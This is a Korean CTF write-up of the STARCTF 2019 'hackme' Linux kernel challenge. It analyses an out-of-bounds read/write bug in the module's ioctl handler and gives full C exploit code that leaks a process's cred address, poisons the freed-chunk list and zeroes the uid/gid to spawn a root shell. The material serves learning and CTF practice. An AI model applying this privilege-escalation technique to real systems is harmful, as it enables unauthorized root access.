ii4gsp

[Kernel] STARCTF 2019 - hackme 본문

시스템 해킹/Kernel

[Kernel] STARCTF 2019 - hackme

ii4gsp 2021. 2. 15. 01:26
#! /bin/sh
cd `dirname $0`
stty intr ^]
qemu-system-x86_64 \
    -m 256M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=4,threads=2 \
    -cpu qemu64,smep,smap 2>/dev/null \
    -s \

이번 문제의 보호기법으로는 KASLR, SMEP, SMAP, KADR이 걸려있다.

 

 

 

 

signed __int64 __fastcall hackme_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
  signed __int64 v3; // rax
  __int64 v4; // rsi
  __int64 *v5; // rax
  signed __int64 v7; // rax
  __int64 v8; // rdi
  __int64 *v9; // rax
  __int64 v10; // r12
  __int64 v11; // r13
  __int64 *v12; // rbx
  signed __int64 v13; // rbx
  __int64 v14; // rdi
  __int64 *v15; // rbx
  __int64 v16; // rax
  unsigned int v17; // [rsp+0h] [rbp-38h]
  __int64 v18; // [rsp+8h] [rbp-30h]
  __int64 v19; // [rsp+10h] [rbp-28h]
  __int64 v20; // [rsp+18h] [rbp-20h]

  copy_from_user(&v17, a3, 32LL);
  if ( a2 == 0x30001 ) // kfree
  {
    v13 = 2LL * v17;
    v14 = pool[v13];
    v15 = &pool[v13];
    if ( v14 )
    {
      kfree();
      *v15 = 0LL;
      return 0LL;
    }
    return -1LL;
  }
  if ( a2 > 0x30001 )
  {
    if ( a2 == 0x30002 ) // kwrite
    {
      v7 = 2LL * v17;
      v8 = pool[v7];
      v9 = &pool[v7];
      if ( v8 && v20 + v19 <= (unsigned __int64)v9[1] )
      {
        copy_from_user(v20 + v8, v18, v19);
        return 0LL;
      }
    }
    else if ( a2 == 0x30003 ) // kread
    {
      v3 = 2LL * v17;
      v4 = pool[v3];
      v5 = &pool[v3];
      if ( v4 )
      {
        if ( v20 + v19 <= (unsigned __int64)v5[1] )
        {
          copy_to_user(v18, v20 + v4, v19);
          return 0LL;
        }
      }
    }
    return -1LL;
  }
  if ( a2 != 0x30000 ) // kmalloc
    return -1LL;
  v10 = v19;
  v11 = v18;
  v12 = &pool[2 * v17];
  if ( *v12 )
    return -1LL;
  v16 = _kmalloc(v19, 6291648LL);
  if ( !v16 )
    return -1LL;
  *v12 = v16;
  copy_from_user(v16, v11, v10);
  v12[1] = v10;
  return 0LL;
}

이번 모듈은 hackme_ioctl() 함수만 분석하면된다.

인자 a2에 따라 write, read, malloc, kree를 할 수 있다.

취약점은 write, read에서 발생하는데 오프셋 변수 v20에 대한 음수 체크를 하지않는다.

따라서 힙 주소 + 오프셋에 원하는 데이터를 쓰고 읽을 수 있어 OOB 취약점이 발생한다.

 

권한 상승을 위해 task_struct -> cred의 주소를 구해야 한다.

주소를 구하기 위해 prctl() 이라는 함수를 이용하면 된다.

prctl() 함수는 프로세스의 이름을 변경하는 함수인데 task_struct -> comm 이곳에 프로세스의 이름이 저장된다.

task_struct -> comm - 0x8 위치에는 cred가 존재하기 때문에 prctl() 함수를 이용하여 프로세스의 이름을 변경 후 read() 함수로 데이터를 긁어와서 변경된 프로세스 이름을 비교하여 주소를 구하면 된다.

무엇보다 편한 점은 task_struct의 오프셋으로 접근하지 않아도된다.

 

 

 

 

struct usr_input
{
  unsigned int index;
  char *user_buf;
  size_t len;
  size_t offset;
}input;

모듈에서 사용하는 구조체는 위와 같다.

 

 

 

 

// gcc -o poc poc.c -static -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

char u_buf[0x100000] = { 0, };

struct usr_input
{
    unsigned int index;
    char *user_buf;
    size_t len;
    size_t offset;
}input;

void kmalloc(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    memset(u_buf, 0, sizeof(u_buf));

    input.index = index;
    input.user_buf = user_buf;
    input.len = len;
    input.offset = offset;

    ioctl(fd, 0x30000, &input);
}

void kwrite(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    input.index = index;
    input.user_buf = user_buf;
    input.len = len;
    input.offset = offset;

    ioctl(fd, 0x30002, &input);
}

void kread(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    input.index = index;
    input.len = len;
    input.offset = offset;

    ioctl(fd, 0x30003, &input);
}

void kfree(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    input.index = index;

    ioctl(fd, 0x30001, &input);
}

int main()
{
    int fd;
    char find_str[] = "asdasdasd";
    char *str;

    fd = open("/dev/hackme", O_RDONLY);

    if(fd < 0)
    {
        printf("[-] /dev/hackme Fail\n");
        exit(-1);
    }
    printf("[+] /dev/hackme Finish\n");

    prctl(PR_SET_NAME, find_str);

    for(int i = 0; i < 50; i++)
    {
        kmalloc(fd, i, u_buf, 0x40, 0);
    }

    kread(fd, 49, u_buf, 0x100000, -0x100000);
    str = (char*)memmem(u_buf, 0x100000, find_str, 0x8);
    uintptr_t cred = *(uintptr_t*)(str - 0x8);

    printf("[+] struct cred addr: %p\n", cred);

    return 0;
}

위와 같은 코드로 task_struct -> cred의 주소를 구할 수 있다.

 

 

 

 

이제 익스만 하면 된다.

 

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

char u_buf[0x100000] = { 0, };

struct usr_input
{
    unsigned int index;
    char *user_buf;
    size_t len;
    size_t offset;
}input;

void kmalloc(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    memset(u_buf, 0, sizeof(u_buf));

    input.index = index;
    input.user_buf = user_buf;
    input.len = len;
    input.offset = offset;

    ioctl(fd, 0x30000, &input);
}

void kwrite(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    input.index = index;
    input.user_buf = user_buf;
    input.len = len;
    input.offset = offset;

    ioctl(fd, 0x30002, &input);
}

void kread(int fd, unsigned int index, char *user_buf, size_t len, size_t offset)
{
    input.index = index;
    input.len = len;
    input.offset = offset;

    ioctl(fd, 0x30003, &input);
}

void kfree(int fd, unsigned int index)
{
    input.index = index;

    ioctl(fd, 0x30001, &input);
}

int main()
{
    int fd;
    char find_str[] = "asdasdasd";
    char *str;

    fd = open("/dev/hackme", O_RDONLY);

    if(fd < 0)
    {
        printf("[-] /dev/hackme Fail\n");
        exit(-1);
    }
    printf("[+] /dev/hackme Finish\n");

    prctl(PR_SET_NAME, find_str);

    for(int i = 0; i < 50; i++)
    {
        kmalloc(fd, i, u_buf, 0x40, 0);
    }

    kread(fd, 49, u_buf, 0x100000, -0x100000);
    str = (char*)memmem(u_buf, 0x100000, find_str, 8);
    uintptr_t cred = *(uintptr_t*)(str - 8);

    printf("[+] struct cred addr: %p\n", cred);

    kfree(fd, 47);
    kfree(fd, 48);

    *(uintptr_t*)u_buf = cred - 0x10;

    kwrite(fd, 49, u_buf, 0x40, -0x40);

    size_t set_uid[8] = { 0, };

    kmalloc(fd, 47, u_buf, 0x40, 0);
    kmalloc(fd, 48, (char*)set_uid, 0x40, 0);

    system("/bin/sh");

    return 0;
}

전체적인 익스 코드이다.

47, 48 인덱스를 free 해주면 pool[48]의 fd에 pool[47]의 주소가 들어간다.

cred - 0x10의 값을 버퍼에 저장해주는 이유는 cred 구조체의 usage 멤버 때문이다.

usage 여러 개의 프로세스에서 cred 구조체를 동시에 사용할 때 cred 구조체를 사용하는 프로세스의 개수를 저장한다.

usage가 0으로 만들어버리면 커널 패닉이 일어나기 때문에 usage를 피해 uid, gid를 0으로 만들어 줘야한다.

write() 함수로 pool[49] 인덱스의 -0x40 위치인 해제된 pool[48] 인덱스에 cred를 넣어준다.

그리고 malloc을 2번 해주면 pool[47], pool[48] 인덱스의 freed 청크가 재할당 되고 cred의 uid, gid를 0으로 만들어주면 된다.

 

 

 

 

Comments